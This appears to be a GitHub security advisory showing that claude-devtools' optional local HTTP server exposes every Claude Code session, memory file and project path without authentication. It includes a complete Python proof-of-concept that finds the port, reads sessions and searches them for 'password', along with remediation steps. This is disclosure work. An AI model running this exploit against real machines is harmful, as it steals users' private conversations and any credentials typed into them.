claude-devtools icon indicating copy to clipboard operation
claude-devtools copied to clipboard

Local Sensitive Logic Exposure Lead to Exposes Local Session Data

Open notwo1f opened this issue 4 weeks ago • 0 comments

Item Detail
Vulnerability ID 01
Severity High
Affected Component claude-devtools (github.com/matt1398/claude-devtools), Electron desktop HTTP sidecar
Vulnerability Type CWE-306: Missing Authentication for Critical Function / CWE-200: Exposure of Sensitive Information
Report Date 2026-09-25
|version 0.5.0

1. Vulnerability Description

claude-devtools is an Electron desktop application that visualizes local Claude Code session logs. When the user enables "Enable server mode" in the settings, the application starts a Fastify HTTP server on the local machine (default 127.0.0.1:3456, falling back to 3466 when the port is occupied) to serve the same data API as the desktop UI.

All /api/* endpoints of this HTTP server have no authentication whatsoever: no login, no token, no session validation, and no CSRF protection. As long as the application is running, any process on the same machine — for example, a browser extension with host permissions, any local script, a background service, or any other application process — can call these endpoints directly, without any credentials, and read the user's local session information:

  1. Full conversation history: every prompt the user typed into Claude Code, every AI response, and every tool call command together with its returned results;
  2. Potentially sensitive credentials: past conversations may contain API keys, passwords, internal network addresses, tokens, private key fragments, etc. (retrievable in bulk through the global search endpoint using keywords such as password, token, or AKIA);
  3. Full memory file contents: all Markdown files under ~/.claude/projects/<project>/memory/, together with their absolute paths;
  4. Local path information: absolute paths of all local project directories, project names, and session indexes — precise reconnaissance data for follow-up attacks.

Impact summary: an attacker with zero credentials can exfiltrate the victim's entire Claude Code usage history. Session data mirrors the developer's workflow and may contain code structure, business information, and even credentials typed directly into the conversation; local path information enables precise reconnaissance for subsequent targeted attacks.

2. Vulnerability Analysis (Source Code)

2.1 The HTTP Server Starts Without Any Authentication Layer

In src/main/services/infrastructure/HttpServer.ts, after the Fastify instance is created, static file serving and all routes are registered directly — no authentication hook (preHandler/onRequest auth check) is ever registered:

export class HttpServer {
  async start(
    services: HttpServices,
    sshModeSwitchCallback: (mode: 'local' | 'ssh') => Promise<void>,
    preferredPort: number = 3456,
    host: string = '127.0.0.1'
  ): Promise<number> {
    this.app = Fastify({ logger: false });

    // Register CORS   <-- CORS only; no auth middleware at all
    const corsOrigin = process.env.CORS_ORIGIN;
    ...

    await this.app.register(fastifyStatic, { root: rendererPath, ... });
    registerHttpRoutes(this.app, services, sshModeSwitchCallback);  // <-- all routes registered directly
    ...
    // Fall back to the next port on conflict, up to 3466
    for (let attempt = 0; attempt <= 10; attempt++) {
      const tryPort = preferredPort + attempt;
      try {
        await this.app.listen({ host, port: tryPort });
        ...

Binding to 127.0.0.1 only blocks cross-machine access; it imposes no restriction on other processes, browser extensions, or local scripts on the same machine.

2.2 The CORS Policy Is Ineffective Against Same-Machine Processes

The default CORS callback contains a critical allow branch:

const localhostPattern = /^https?:\/\/(?:localhost|127\.0\.0\.1)(?::\d+)?$/;
await this.app.register(cors, {
  origin: (origin, cb) => {
    if (!origin) { cb(null, true); return; }          // (1) requests without Origin are allowed
    if (localhostPattern.test(origin)) { cb(null, true); return; }  // (2) any localhost port allowed
    cb(new Error('Not allowed by CORS'), false);
  },
  credentials: true,
});
  • Branch (1): any non-browser HTTP client sends requests without an Origin header — calls issued by any local process (Python/curl scripts, background services, other applications) all hit this branch and are allowed through;
  • Branch (2): the server additionally allows all localhost/127.0.0.1 origins, further enlarging the exposure surface (see remediation);
  • Browser extensions with host_permissions are not subject to page same-origin policy or CORS at all, and can directly read responses from the service on any local port.

2.3 Route Registration: All Data Endpoints Are Exposed

src/main/http/index.ts registers 13 route modules in one call, with no access control:

export function registerHttpRoutes(app: FastifyInstance, services: HttpServices, ...): void {
  registerProjectRoutes(app, services);   // GET /api/projects ...
  registerSessionRoutes(app, services);   // GET /api/projects/:id/sessions/:sid ...
  registerSearchRoutes(app, services);    // GET /api/search ...
  ...
  registerMemoryRoutes(app, services);    // GET /api/memory/* ...
  logger.info('All HTTP routes registered');
}

The data-plane endpoints return sensitive content directly. Input parameters receive only format validation (validateProjectId/validateSessionId check the ID string format to prevent path traversal) — there is no check of whether the requester is authorized to read the data:

// src/main/http/projects.ts -- returns absolute paths of all local projects
app.get('/api/projects', async () => {
  const projects = await services.projectScanner.scan();   // no authentication
  return projects;                                         // includes path/id/session indexes
});

// src/main/http/sessions.ts -- returns a full session (user input / AI output / tool calls)
app.get<{ Params: { projectId: string; sessionId: string } }>(
  '/api/projects/:projectId/sessions/:sessionId',
  async (request) => {
    const validated = validateProjectId(request.params.projectId);  // format check only
    ...
    const parsedSession = await services.sessionParser.parseSession(...);
    // messages are returned in full, including type:"user" content, toolCalls, toolResults
  }
);

// src/main/http/search.ts -- global full-text search across all sessions
app.get('/api/search', async (request) => {
  const result = await services.projectScanner.searchAllProjects(
    validatedQuery.value!, maxResults);   // searches all projects and returns matching context
  return result;
});

// src/main/http/memory.ts -- returns full memory file content and its absolute path
const file = await services.memoryReader.readFile(validated.value, fileName);
return { success: true, content: file.content, path: file.absolutePath };

2.4 Switch State and Formation of the Exposure

In src/main/services/infrastructure/ConfigManager.ts, the server is disabled by default:

httpServer: {
  enabled: false,   // disabled by default
  port: 3456,
},

Once the user turns on the "Enable server mode" switch in the settings page (src/renderer/components/settings/sections/GeneralSection.tsx), enabled is persisted as true, and the main process starts the server in src/main/index.ts whenever it detects appConfig.httpServer?.enabled. The exposure persists as long as the setting is enabled: the user has no way of knowing that on every application start, an unauthenticated server capable of reading all session data is listening on local port 3456.

2.5 Root Cause Summary

The only access control on this server is CORS, and CORS is fundamentally a browser-side behavior constraint: (1) it has no effect on non-browser requests — any same-machine process can simply issue a request; (2) browser extensions with host permissions are not bound by it either; (3) the server has no independent authentication or authorization model. Combined, data that was meant to be "local UI only" is actually open to every process on the machine.

3. Vulnerability POC

3.1 Reproduction Steps

  1. Prepare the target environment: install and run the claude-devtools Electron application on the target machine, and use Claude Code normally to produce some session history (containing prompts, AI responses, tool calls, etc.).

  2. Enable the server: open the application settings and turn on the "Enable server mode" toggle in the General section. The application then starts the HTTP server on 127.0.0.1:3456 (falling back to 3466 if occupied).

  3. Run the POC: on the same machine (simulating the perspective of a same-machine process or browser extension), save the following script as poc.py (Python 3 standard library only, no third-party dependencies) and execute:

    python poc.py            # automatically scans ports 3456-3466
    python poc.py --port 3457  # or specify the port manually
    
  4. Expected result: the script automatically discovers the service port, then calls the project list, session list, session detail, global search, and memory endpoints without any credentials. All of them return HTTP 200 with full JSON data — including real conversation content (user inputs, AI responses), absolute local project paths, and memory paths.

Actual verification output (excerpt, containing real data from the target machine):

[*] Scanning 127.0.0.1 ports 3456-3466 ...
[+] Service found: http://127.0.0.1:3456
=== GET /api/projects (HTTP 200) ===
[ { "id": "C--Users-xx--openswarm-workspaces-...", "path": "C:\\Users\\xx\\.openswarm\\workspaces\\...", ... }, ... ]
=== GET /api/projects/:id/sessions/:sid (HTTP 200) ===
{ "session": {...}, "messages": [ { "type": "user", "content": "hhelo", "cwd": "C:\\Users\\xx\\..." }, ... ] }
=== GET /api/search?q=password (HTTP 200) ===
{ "results": [...], "sessionsSearched": 31, "query": "password" }

3.2 Full POC Code (Python 3, standard library only)

#!/usr/bin/env python3
"""01 - Unauthorized Session & Memory Disclosure POC (Python)

Reads full Claude Code sessions, user inputs, tool call outputs and memory
files without any authentication.
Usage: python poc.py [--host 127.0.0.1] [--port 3456]
"""

import argparse
import json
import sys
import urllib.error
import urllib.request

sys.stdout.reconfigure(encoding="utf-8", errors="replace")


def http_request(method, url, body=None, headers=None, timeout=10):
    data = json.dumps(body).encode() if body is not None else None
    req = urllib.request.Request(url, data=data, method=method, headers=headers or {})
    if data is not None:
        req.add_header("Content-Type", "application/json")
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status, dict(resp.headers), resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read().decode("utf-8", "replace")
    except (urllib.error.URLError, OSError) as e:
        return None, None, str(e)


def api(base, method, path, body=None, timeout=10):
    status, _, raw = http_request(method, base + path, body, timeout=timeout)
    try:
        parsed = json.loads(raw)
    except ValueError:
        parsed = raw
    return status, parsed


def show(title, status, data, limit=4000):
    print(f"\n=== {title} (HTTP {status}) ===")
    print(json.dumps(data, ensure_ascii=False, indent=2)[:limit])


def as_rows(data):
    if isinstance(data, list):
        return data
    if isinstance(data, dict):
        return data.get("data") or []
    return []


def find_server():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=0)
    args = parser.parse_args()
    ports = [args.port] if args.port else range(3456, 3467)
    print(f"[*] Scanning {args.host} ports {ports[0]}-{ports[-1]} ...")
    for port in ports:
        status, _, _ = http_request("GET", f"http://{args.host}:{port}/api/version", timeout=0.7)
        if status is not None:
            print(f"[+] Service found: http://{args.host}:{port}")
            return f"http://{args.host}:{port}"
    print('[-] No service found (make sure "Enable server mode" is on in the Electron app, '
          "or standalone is running)")
    sys.exit(1)


def main():
    base = find_server()

    status, projects = api(base, "GET", "/api/projects")
    show("GET /api/projects", status, projects, limit=1500)
    project_ids = [p.get("id") or p.get("projectId") for p in as_rows(projects)]
    project_ids = [p for p in project_ids if p]
    if not project_ids:
        print("\n[!] No projectId parsed; fill in manually for later steps")
        return
    pid = project_ids[0]
    print(f"\n[*] Using first projectId: {pid}")

    status, sessions = api(base, "GET", f"/api/projects/{pid}/sessions")
    show("GET /api/projects/:id/sessions", status, sessions, limit=1500)
    session_ids = [s.get("id") or s.get("sessionId") for s in as_rows(sessions)]
    session_ids = [s for s in session_ids if s]

    if session_ids:
        sid = session_ids[0]
        status, detail = api(base, "GET", f"/api/projects/{pid}/sessions/{sid}")
        show("GET /api/projects/:id/sessions/:sid", status, detail)
    else:
        print("\n[!] No sessionId parsed; skipping session detail")

    status, search = api(base, "GET", "/api/search?q=password&maxResults=50")
    show("GET /api/search?q=password", status, search)

    status, mem = api(base, "GET", f"/api/memory/index?projectId={pid}")
    show("GET /api/memory/index", status, mem, limit=2000)
    status, mem = api(base, "GET", f"/api/memory/file?projectId={pid}&file=MEMORY.md")
    show("GET /api/memory/file?file=MEMORY.md", status, mem)


if __name__ == "__main__":
    main()

4. Remediation Recommendations

  1. Add local authentication to the HTTP API (root fix): generate a high-entropy random token at application startup and deliver it to the application's own renderer through a secure channel (e.g., internal IPC or a temporary file readable only by the current user). Enforce Authorization: Bearer <token> on every /api/* request and return 401 otherwise. This single measure independently blocks unauthorized reads by both same-machine processes and browser extensions.
  2. Tighten CORS:
    • Remove the allow branch for requests without an Origin header (if (!origin) cb(null, true));
    • Remove the "any localhost port" whitelist and allow only the fixed Origin of the application's own renderer.
  3. Add Host header validation: accept only Host: localhost:<port> / 127.0.0.1:<port> and reject all other Host values, defending against same-port DNS rebinding bypasses.
  4. Keep the server off by default and warn explicitly: keep server mode disabled by default; when enabled, clearly warn in the UI that "any program on this machine will be able to read your entire session history through this port", and show the service status and port in the tray/status bar.
  5. Apply the same fixes to standalone/Docker mode: stop defaulting to CORS_ORIGIN=*, bind to 127.0.0.1 by default, allow external interfaces only through explicit configuration, and enforce token authentication there as well.
  6. Additional hardening (optional): add rate limiting to heavy endpoints such as session search; cap the number of /api/events SSE connections; provide a sanitized export option to reduce the data exposure surface.

notwo1f avatar Nov 06 '26 07:11 notwo1f